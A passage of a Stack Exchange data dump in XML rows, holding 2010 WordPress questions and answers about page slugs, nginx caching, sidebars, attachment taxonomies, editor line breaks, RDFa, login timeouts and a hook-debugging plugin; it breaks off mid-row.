  <row Id="493" PostTypeId="2" ParentId="481" CreationDate="2010-08-18T14:13:50.850" Score="0" ViewCount="" Body="&lt;p&gt;It's absolutely possible to use numbers for page slugs. However, adding a random number to the end of a page URL will always return that page (unless it matches another page's URL), since the rewrite engine tacks on numbers to match the ends of page permastructs to allow for pagination inside of posts. My guess is you have some post somewhere in your database that is using 123 as its slug (could be an image or other attachment, or a menu item, or something else). If you fix that, you should be able to set your page's slug to 123, and it will work. WordPress adds rewrite rules for each page individually, so it's not a problem of it not recognizing it.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-18T14:13:50.850" />
  <row Id="494" PostTypeId="2" ParentId="487" CreationDate="2010-08-18T14:18:24.087" Score="2" ViewCount="" Body="&lt;p&gt;Answering your first question, yes it is absolutely possible to have one installation of WordPress running 'within' another (i.e. installed at example.com and example.com/child).  I have something like that running right now.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-18T14:18:24.087" CommentCount="2" />
  <row Id="495" PostTypeId="2" ParentId="199" CreationDate="2010-08-18T14:35:09.350" Score="12" ViewCount="" Body="&lt;p&gt;You could install WordPress on Nginx.  There are a number of resources to help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/nginx-compatibility/&quot; rel=&quot;nofollow&quot;&gt;nginx Compatibility plugin&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://elasticdog.com/2008/02/howto-install-wordpress-on-nginx/&quot; rel=&quot;nofollow&quot;&gt;HOWTO: Install WordPress On&#xA;Nginx&lt;/a&gt;-&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://forum.slicehost.com/comments.php?DiscussionID=1342&quot; rel=&quot;nofollow&quot;&gt;Slicehost discussion&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://tech.nocr.at/tech/how-to-speed-up-wordpress-with-nginx-and-wp-super-cache/&quot; rel=&quot;nofollow&quot;&gt;How To Speed Up WordPress With Nginx And WP Super Cache&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://tech.karolzielinski.com/wordpress-on-nginx-lighttpd-fastcgi-php-&quot; rel=&quot;nofollow&quot;&gt;WordPress on nginx + lighttpd + FastCGI + php&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blogs.law.harvard.edu/djcp/2010/01/nginx-as-a-front-end-proxy-cache-for-wordpress/BlockquoteBlockquoteneeded.&quot; rel=&quot;nofollow&quot;&gt;Nginx as a front-end proxy cache for WordPress&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some performance information from that last link (which appears to be a bit different setup than the others):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So I decided to put a proxy in front&#xA;  of wordpress to static cache as much&#xA;  as possible. ALL non-authenticated&#xA;  traffic is served directly from the&#xA;  nginx file cache, taking some requests&#xA;  (such as RSS feed generation) from 6&#xA;  pages/second to 7000+ pages/second.&#xA;  Oof. Nginx also handles logging and&#xA;  gzipping, leaving the heavier backend&#xA;  apaches to do what they do best: serve&#xA;  dynamic wordpress pages only when&#xA;  needed.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;On nginx – it’s so efficient it’s&#xA;  scary. I’ve never seen it use more&#xA;  than 10 to 15 meg of RAM and a blip of&#xA;  CPU, even under our heaviest load. Our&#xA;  ganglia graphs don’t lie: we halved&#xA;  our memory requirements, doubled our&#xA;  outgoing network throughput and&#xA;  completely leveled out our load. We&#xA;  have had basically no problems since&#xA;  we set this up.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-08-18T15:10:38.670" LastActivityDate="2010-08-18T15:10:38.670" CommentCount="2" />
  <row Id="496" PostTypeId="1" AcceptedAnswerId="649" CreationDate="2010-08-18T16:19:56.743" Score="7" ViewCount="1233" Body="&lt;p&gt;I am using &lt;code&gt;register_taxonomy_for_object_type()&lt;/code&gt; to add the Category taxonomy field to Media uploads (attachments). I'm using this code to do so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'reg_tax');&#xA;function reg_tax() {&#xA;   register_taxonomy_for_object_type('category', 'attachment');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works and adds a simple text field for Category to the Media page when viewing an image. What I really want is to make it display the actual Categories Metabox so that I can choose the Categories I want to use rather than just type them into the plain field. I've also found that putting the slug for a category into this text field such as &lt;code&gt;my-category-name&lt;/code&gt; ends up displaying as the actual category name like &lt;code&gt;My Category Name&lt;/code&gt; when it's saved, which makes the simple text field even less of a useful option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking at the &lt;code&gt;add_post_type_support()&lt;/code&gt; function for adding Metaboxes and have seen it used for Custom Post Types, I just can't see if it's possible to add the same for attachments.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2011-02-21T18:42:47.123" Title="Can I add a Category Metabox to attachment?" Tags="&lt;attachments&gt;&lt;metabox&gt;&lt;categories&gt;&lt;taxonomy&gt;" AnswerCount="3" CommentCount="6" FavoriteCount="5" />
  <row Id="497" PostTypeId="2" ParentId="496" CreationDate="2010-08-18T17:07:02.990" Score="1" ViewCount="" Body="&lt;p&gt;This is difficult/complicated if you want to use WordPress' default category box. For one thing, the metabox doesn't return the output, it just echoes it. On top of that, it wouldn't give you the correct input field name, so it wouldn't save. One idea might be to use a &lt;a href=&quot;http://jqueryui.com/demos/autocomplete/&quot; rel=&quot;nofollow&quot;&gt;jQuery UI Autocomplete&lt;/a&gt; to replicate the tags box's functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you want to play around with the media editor's fields, you can hook into &lt;code&gt;'attachment_fields_to_edit'&lt;/code&gt; and edit the array of fields. The filter passes two arguments to the callback: first argument is the array of fields, second is the attachment post object. See here for more details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/nav.html?wp-admin/includes/media.php.source.html#l1025&quot; rel=&quot;nofollow&quot;&gt;http://phpxref.ftwr.co.uk/wordpress/nav.html?wp-admin/includes/media.php.source.html#l1025&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-18T17:07:02.990" CommentCount="1" />
  <row Id="498" PostTypeId="2" ParentId="487" CreationDate="2010-08-18T18:09:35.437" Score="1" ViewCount="" Body="&lt;p&gt;it's the aggregations that is the problem &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think about if you can manage what you what with categories maybe in single blog you could have multiple taxonomies drive the site that way&lt;/p&gt;&#xA;" OwnerUserId="176" LastActivityDate="2010-08-18T18:09:35.437" CommentCount="1" />
  <row Id="499" PostTypeId="2" ParentId="489" CreationDate="2010-08-18T19:02:54.627" Score="1" ViewCount="" Body="&lt;p&gt;Deleting an image from a post or page is a confusing process.  When you upload an image to a post/page, it's added to that post/page's gallery.  You can then insert the image into the content of the post/page and edit content as you see fit.  When you click on the image in the wysiwyg editor, you'll see two icons - one to edit the image's settings and one to remove it from the editor - &lt;em&gt;this second icon&lt;/em&gt; &lt;strong&gt;&lt;em&gt;does not&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;delete the image&lt;/em&gt; even though it looks like a typical &quot;delete&quot; icon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you press that &quot;delete&quot; button, it removes the image from the visual editor &lt;em&gt;but keeps it in the post/page's gallery&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To actually remove/delete the image, you need to do the following&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Click the &quot;Add Image&quot; button to view the image screen&lt;/li&gt;&#xA;&lt;li&gt;Click the &quot;Gallery&quot; tab to view what images are currently attached to the post&lt;/li&gt;&#xA;&lt;li&gt;Click the &quot;Show&quot; link for the image you want removed.&lt;/li&gt;&#xA;&lt;li&gt;Click &quot;Delete&quot; towards the bottom of the image detail screen&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You'll be asked to confirm deletion, then the image will be unattached to the post/page and removed entirely from WordPress.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-18T19:02:54.627" CommentCount="6" />
  <row Id="500" PostTypeId="1" AcceptedAnswerId="501" CreationDate="2010-08-18T19:07:46.287" Score="0" ViewCount="1496" Body="&lt;p&gt;&lt;em&gt;&lt;strong&gt;Disclaimer:&lt;/em&gt;&lt;/strong&gt; I am brand spanking new to WP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the &lt;a href=&quot;http://nathanstaines.com/archive/starkers-html5-v3&quot; rel=&quot;nofollow&quot;&gt;Starkers HTML5 framework theme&lt;/a&gt;. In the &lt;code&gt;functions.php&lt;/code&gt; I see this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function starkers_widgets_init() {&#xA;&#xA;  // Area 1, located at the top of the sidebar.&#xA;  register_sidebar( array(&#xA;    'name' =&amp;gt; __( 'Primary Widget Area', 'starkers' ),&#xA;    'id' =&amp;gt; 'primary-widget-area',&#xA;    'description' =&amp;gt; __( 'The primary widget area', 'starkers' ),&#xA;    'before_widget' =&amp;gt; '&amp;lt;li&amp;gt;',&#xA;    'after_widget' =&amp;gt; '&amp;lt;/li&amp;gt;',&#xA;    'before_title' =&amp;gt; '&amp;lt;h3&amp;gt;',&#xA;    'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;',&#xA;  ) );&#xA;&#xA;  // Area 3, located in the footer. Empty by default.&#xA;  register_sidebar( array(&#xA;    'name' =&amp;gt; __( 'First Footer Widget Area', 'starkers' ),&#xA;    'id' =&amp;gt; 'first-footer-widget-area',&#xA;    'description' =&amp;gt; __( 'The first footer widget area', 'starkers' ),&#xA;    'before_widget' =&amp;gt; '&amp;lt;li&amp;gt;',&#xA;    'after_widget' =&amp;gt; '&amp;lt;/li&amp;gt;',&#xA;    'before_title' =&amp;gt; '&amp;lt;h3&amp;gt;',&#xA;    'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;',&#xA;  ) );&#xA;&#xA;  // ... more calls to register_sidebar() ... &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in &lt;code&gt;footer.php&lt;/code&gt; I see this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_sidebar( 'footer' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't understand how &lt;code&gt;get_sidebar()&lt;/code&gt; knows how to take that string argument and find the appropriate widgets that were defined by &lt;code&gt;register_sidebar()&lt;/code&gt;.  In the functions.php snippet I posted above. There isn't any mention of &quot;footer&quot; except for the &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;id&lt;/code&gt; and &lt;code&gt;description&lt;/code&gt; properties. But it would seem odd to me that &lt;code&gt;get_sidebar()&lt;/code&gt; would search for 'footer' inside those properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this make sense what I am asking? Is there some missing piece?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reasons I am asking is because&#xA; - I would like to know more about the WP architecture&#xA; - I would like to be able to define a custom widget area and know how to render it on a specific page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a ton.&lt;/p&gt;&#xA;" OwnerUserId="193" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-24T18:30:44.213" LastActivityDate="2010-08-24T18:30:44.213" Title="How do register_sidebar() and get_sidebar() work together?" Tags="&lt;3.0&gt;&lt;themes&gt;&lt;theme-development&gt;&lt;widgets&gt;" AnswerCount="3" />
  <row Id="501" PostTypeId="2" ParentId="500" CreationDate="2010-08-18T19:16:44.130" Score="2" ViewCount="" Body="&lt;p&gt;You just call &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_sidebar&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_sidebar()&lt;/code&gt;&lt;/a&gt; from &lt;code&gt;index.php&lt;/code&gt; and it loads the theme file &lt;code&gt;sidebar.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_sidebar&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_sidebar()&lt;/code&gt;&lt;/a&gt;, on the other hand, is used for widgets where plugins and such want to dynamically add content in your &lt;code&gt;sidebar.php&lt;/code&gt; file if your theme supports it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, is there a file called &lt;code&gt;sidebar-footer.php&lt;/code&gt; in your theme's directory?&lt;/p&gt;&#xA;" OwnerUserId="143" LastEditorUserId="143" LastEditorDisplayName="" LastEditDate="2010-08-18T19:21:54.820" LastActivityDate="2010-08-18T19:21:54.820" CommentCount="1" />
  <row Id="502" PostTypeId="2" ParentId="500" CreationDate="2010-08-18T19:20:52.390" Score="3" ViewCount="" Body="&lt;p&gt;&lt;code&gt;get_sidebar('footer')&lt;/code&gt; attempts to load &lt;code&gt;sidebar-footer.php&lt;/code&gt; from the active theme. Starkers does provide this file. Check &lt;code&gt;starkers/sidebar-footer.php&lt;/code&gt; and things should become clear.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-18T19:20:52.390" CommentCount="1" />
  <row Id="503" PostTypeId="2" ParentId="500" CreationDate="2010-08-18T19:25:06.513" Score="1" ViewCount="" Body="&lt;p&gt;I've never bothered with &lt;code&gt;get_sidebar()&lt;/code&gt;. Instead I just use &lt;code&gt;dynamic_sidebar()&lt;/code&gt;. You'd call it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dynamic_sidebar('first-footer-widget-area');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that takes care of the whole sidebar. No more file inclusions, no more cluttered theme folders. If I want to have 5 different sidebars, it doesn't add any files, only extra functions in &lt;code&gt;functions.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-18T19:25:06.513" CommentCount="3" />
  <row Id="504" PostTypeId="1" CreationDate="2010-08-18T19:44:29.930" Score="1" ViewCount="236" Body="&lt;p&gt;Drupal 7 &lt;a href=&quot;http://drupal.org/node/574624&quot; rel=&quot;nofollow&quot;&gt;has support&lt;/a&gt; for the semantic web (RDF/RDFa). Is there a plugin or similar plans for WordPress? &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2011-05-14T19:56:31.727" Title="How can I use RDFa with WordPress?" Tags="&lt;plugins&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="505" PostTypeId="2" ParentId="444" CreationDate="2010-08-18T19:55:26.173" Score="0" ViewCount="" Body="&lt;p&gt;Personally, I prefer to follow the below pattern for adding custom meta handlers to post types.  With the below, you can add the meta support to a post type by just adding the supports key ('subtitle' in the example below) to the supports array for the post type by calling add_post_type_support('my_post_type', 'subtitle');&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Subtitle_Meta_Handler {&#xA;    public function initialize() {&#xA;        add_action('add_meta_boxes', array($this, 'add_metabox'), 10, 2);&#xA;        add_action('save_post', array($this, 'update'));&#xA;    }&#xA;&#xA;    public function add_metabox($post_type, $post)&#xA;    {&#xA;        if(post_type_supports($post_type, 'subtitle'))&#xA;        {&#xA;            add_meta_box('subtitle', 'Subtitle', array($this, 'metabox'), $post_type);&#xA;        }&#xA;    }&#xA;&#xA;    public function metabox($post)&#xA;    {&#xA;        $subtitle = get_post_meta($post-&amp;gt;ID, 'subtitle', true);&#xA;        if(!$subtitle)&#xA;        {&#xA;            $subtitle = '';&#xA;        }&#xA;        ?&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; style=&quot;width: 70%;&quot; value=&quot;&amp;lt;?php echo esc_attr($subtitle);?&amp;gt;&quot; name=&quot;subtitle&quot; id=&quot;subtitle&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;        wp_nonce_field('update_subtitle', 'subtitle_nonce');&#xA;    }&#xA;&#xA;    public function update($post_id)&#xA;    {&#xA;        if(wp_is_post_autosave($post_id) || wp_is_post_revision($post_id)) {&#xA;            return $post_id;&#xA;        }&#xA;        if(isset($_REQUEST['subtitle_nonce']) &amp;amp;&amp;amp; wp_verify_nonce($_REQUEST['subtitle_nonce'], 'update_subtitle')) {&#xA;            $subtitle = trim(strip_tags($_REQUEST['subtitle'], '&amp;lt;b&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;span&amp;gt;&amp;lt;a&amp;gt;'));&#xA;            if(empty($subtitle)) {&#xA;                delete_post_meta($post_id, 'subtitle');&#xA;            } else {&#xA;                update_post_meta($post_id, 'subtitle', $subtitle);&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;add_action('init', array(new Subtitle_Meta_Handler(), 'initialize'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully something like this will soon be added into core.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-08-18T19:55:26.173" />
  <row Id="506" PostTypeId="1" AcceptedAnswerId="510" CreationDate="2010-08-18T19:58:27.650" Score="5" ViewCount="390" Body="&lt;p&gt;I always find myself in HTML mode in the editor to try and get simple things like breaks between paragraphs to show up right (using &amp;lt;p&gt;&amp;lt;/p&gt;). Is that normal? Is there a better editor out there that I could use?&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-18T20:15:16.113" LastActivityDate="2010-08-24T04:57:08.427" Title="How can I improve the line break handling in the WYSIWYG editor?" Tags="&lt;wp-admin&gt;" AnswerCount="6" />
  <row Id="507" PostTypeId="2" ParentId="506" CreationDate="2010-08-18T20:00:02.810" Score="0" ViewCount="" Body="&lt;p&gt;The reason you're having trouble is because WordPress prefers to use &lt;p&gt; tags, which are more semantic than line breaks.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2010-08-18T20:00:02.810" />
  <row Id="508" PostTypeId="2" ParentId="199" CreationDate="2010-08-18T20:02:59.293" Score="5" ViewCount="" Body="&lt;p&gt;In addition to using a disk caching plugin like wp-cache, put your blog on a host volume that has the &quot;noatime&quot; property set on it. Otherwise, SSH into your host (if your webhost provides that) and routinely run this command on your files every few days: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chattr -R +A ~/*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The ~/* means &quot;my files under my home directory&quot;. You can change that path as you see fit. You can also set this up on a cron job in cpanel if your webhost provides that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info about atime property, see &lt;a href=&quot;http://en.wikipedia.org/wiki/Stat_%28Unix%29&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;. It speeds up Linux disk read performance greatly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes your site is being hammered by spiders. You can use a tool like SpyderSpanker or Chennai Central to filter out spiders who don't help bring more page rank to your site and merely slow it down, and then throttle good spiders (like Google, Bing, etc.) by sending them random HTTP 304 Not Modified messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing I see is just poorly written plugins. If you learn how to make plugins, you begin to see how some plugins are inefficiently coded, or even find timebombs, such as a database table that fills and fills and never gets cleaned out, storing things such as incoming connection data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond all the other solutions here, you can also create a WordPress web farm of your blog by hosting it on several web node PCs that all connect back to one single database and one single disk volume for the files (such as a volume mounted over NFS). Check out &lt;a href=&quot;http://www.ultramonkey.org/&quot; rel=&quot;nofollow&quot;&gt;Ultra Monkey&lt;/a&gt; for how to get that all going.&lt;/p&gt;&#xA;" OwnerUserId="13" LastEditorUserId="13" LastEditorDisplayName="" LastEditDate="2010-08-18T23:13:41.943" LastActivityDate="2010-08-18T23:13:41.943" />
  <row Id="509" PostTypeId="2" ParentId="506" CreationDate="2010-08-18T20:04:45.670" Score="1" ViewCount="" Body="&lt;p&gt;In short: yes. That's normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No there are no better editors out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might try &lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-advanced/&quot; rel=&quot;nofollow&quot;&gt;TinyMCE Advanced&lt;/a&gt; and see if it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you use backticks (`) on this site, it'll escape your html:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-18T20:04:45.670" />
  <row Id="510" PostTypeId="2" ParentId="506" CreationDate="2010-08-18T20:05:09.553" Score="7" ViewCount="" Body="&lt;p&gt;What happens is that TinyMCE converts every double line break in the HTML source to &lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt; and vice versa. It will actually strip away any &lt;code&gt;&amp;lt;p/&amp;gt;&lt;/code&gt; you manually enter in the HTML source after you save, because when the post's content is rendered, &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;/p&amp;gt;&lt;/code&gt; will be added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The auto-&lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; replacement only works when you're rendering a post's content with &lt;code&gt;&amp;lt;?php the_content() ?&amp;gt;&lt;/code&gt;, if you output &lt;code&gt;$post-&amp;gt;post_content&lt;/code&gt; directly, it won't go through the same formatting hooks and will look plain and without line breaks or paragraphs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If what you want is lots of &lt;code&gt;&amp;lt;br/&amp;gt;&lt;/code&gt; tags in the rendered markup, you should probably find a better solution based on CSS and the use of the &lt;code&gt;margin&lt;/code&gt; or &lt;code&gt;padding&lt;/code&gt; CSS properties.&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2010-08-18T20:05:09.553" CommentCount="2" />
  <row Id="511" PostTypeId="2" ParentId="266" CreationDate="2010-08-18T20:09:16.390" Score="1" ViewCount="" Body="&lt;p&gt;If you do all the caching, CPU, compression, RAM, and database tweaks, and still need more performance, consider a web farm for your blog, as in hooking up a shared NFS volume among several web nodes, and have your web nodes all use the same central MySQL database. You can build something like this with a free package called &lt;a href=&quot;http://www.ultramonkey.org/&quot; rel=&quot;nofollow&quot;&gt;Ultra Monkey&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2010-08-18T20:09:16.390" CommunityOwnedDate="2010-08-18T20:09:16.390" CommentCount="1" />
  <row Id="512" PostTypeId="2" ParentId="504" CreationDate="2010-08-18T20:11:39.130" Score="1" ViewCount="" Body="&lt;p&gt;As far as I know, there are no plans to implement RDF into WordPress. RDFa on the other hand can be quite easily implemented by any theme or plugin author by simply adding the RDFa attributes to the generated markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Writing a plugin to expose WordPress' taxonomy as RDF wouldn't be hard and making it two-ways would probably not be that difficult either. I know of no plugins in existence that does this, though.&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2010-08-18T20:11:39.130" />
  <row Id="513" PostTypeId="2" ParentId="504" CreationDate="2010-08-18T20:11:56.603" Score="0" ViewCount="" Body="&lt;p&gt;Here's a start:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tags/rdfa&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tags/rdfa&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Probably wouldn't be that hard to write a plugin for it. What's your use-case?&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-18T20:11:56.603" />
  <row Id="514" PostTypeId="2" ParentId="469" CreationDate="2010-08-18T20:17:29.040" Score="3" ViewCount="" Body="&lt;p&gt;The only way to debug this is to disable one plugin at a time, each time trying to reproduce the problem before you disable another plugin. Start with the plugins that have anything to do with the administration of WP, then move down to regular theme plugins, widgets and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inspect the &quot;Not Found&quot; page that you are served better (browse with Opera and open the Info panel which will show you the headers, alternatively browse with Firefox and have Firebug with the &quot;Net&quot; panel enabled) and do a search through all of your plugins to see if they might be serving it directly. If not, take a look at the log of the web server to find out what exact resource it's unable to serve; a plugin might be doing some fancy redirecting or rewriting so it's not necessarily the URL you see in your browser that's causing the 404.&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2010-08-18T20:17:29.040" CommentCount="4" />
  <row Id="515" PostTypeId="1" AcceptedAnswerId="543" CreationDate="2010-08-18T20:21:17.003" Score="6" ViewCount="305" Body="&lt;p&gt;After a certain amount of time WP logs out all users and forces them to log back in again. For development environments on my local machine this is obnoxious and absolutely unnecessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an API-driven way of disabling the auto-logout indefinitely? Ideally I'd like something I can add to &lt;code&gt;wp-config.php&lt;/code&gt; along with other dev-setup-related settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A plugin would be overkill for me so I won't consider it an answer, but you might as well post it as an option.&lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2011-01-27T22:04:12.037" Title="What's the easiest way to stop WP from ever logging me out" Tags="&lt;security&gt;&lt;wp-admin&gt;&lt;login&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="2" />
  <row Id="516" PostTypeId="2" ParentId="515" CreationDate="2010-08-18T20:23:25.563" Score="4" ViewCount="" Body="&lt;p&gt;This has more to do with how you're browser stores cookies. When you login it should be saving the cookie and WordPress reads it to see if you're authenticated (at least that's what my understanind it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On all local dev installs my username is admin and my password is admin. I don't find 8 letters to really be a big deal but maybe I type faster?&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-08-18T20:23:25.563" CommentCount="1" />
  <row Id="517" PostTypeId="2" ParentId="395" CreationDate="2010-08-18T20:27:39.357" Score="0" ViewCount="" Body="&lt;p&gt;As a product display website for a small business. For instance, with &lt;a href=&quot;http://doubleabody.com/&quot; rel=&quot;nofollow&quot;&gt;this site&lt;/a&gt;, I composed it with the &lt;a href=&quot;http://podscms.org/&quot; rel=&quot;nofollow&quot;&gt;PODS plugin&lt;/a&gt; and a custom theme I designed myself.&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2010-08-18T20:27:39.357" CommunityOwnedDate="2010-08-18T20:27:39.357" />
  <row Id="518" PostTypeId="2" ParentId="506" CreationDate="2010-08-18T20:27:42.477" Score="1" ViewCount="" Body="&lt;p&gt;I use the &lt;a href=&quot;http://wordpress.org/extend/plugins/disable-wpautop/&quot; rel=&quot;nofollow&quot;&gt;Disable WPautop plugin&lt;/a&gt;, which, as expected, disables the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpautop&quot; rel=&quot;nofollow&quot;&gt;wpautop function&lt;/a&gt;.  That might be useful, depending on your situation.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-18T20:27:42.477" />
  <row Id="519" PostTypeId="2" ParentId="307" CreationDate="2010-08-18T20:34:31.963" Score="0" ViewCount="" Body="&lt;p&gt;Although primitive, perhaps this plugin code can help? Switch &quot;add_action&quot; with &quot;add_filter&quot; if you want to look at filters instead. Load the plugin and then refresh the homepage of the site. Once loaded, it's a serious pain to deactivate, so just rename the plugin file under the plugins folder and refresh the site again -- it will deactivate automatically. I've used this trick many a time to troubleshoot things or find a place where I can insert something.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Hooks&#xA;Plugin URI: http://example.com/&#xA;Description: Hooks&#xA;Version: 1.00&#xA;Author: Hooks&#xA;Author URI: http://example.com/&#xA;*/&#xA;&#xA;add_action('all','hook_catchall');&#xA;function hook_catchall(&amp;amp;$s1 = '', &amp;amp;$s2 = '', &amp;amp;$s3 = '', &amp;amp;$s4 = '') {&#xA;    echo &quot;&amp;lt;h1&amp;gt;1&amp;lt;/h1&amp;gt;\n&quot;;&#xA;    print_r($s1);&#xA;    echo &quot;&amp;lt;br /&amp;gt;\n&quot;;&#xA;    echo &quot;&amp;lt;h1&amp;gt;2&amp;lt;/h1&amp;gt;\n&quot;;&#xA;    print_r($s2);&#xA;    echo &quot;&amp;lt;br /&amp;gt;\n&quot;;&#xA;    echo &quot;&amp;lt;h1&amp;gt;3&amp;lt;/h1&amp;gt;\n&quot;;    &#xA;    print_r($s3);&#xA;    echo &quot;&amp;lt;br /&amp;gt;\n&quot;;&#xA;    echo &quot;&amp;lt;h1&amp;gt;4&amp;lt;/h1&amp;gt;\n&quot;;    &#xA;    print_r($s4);&#xA;    echo &quot;&amp;lt;br 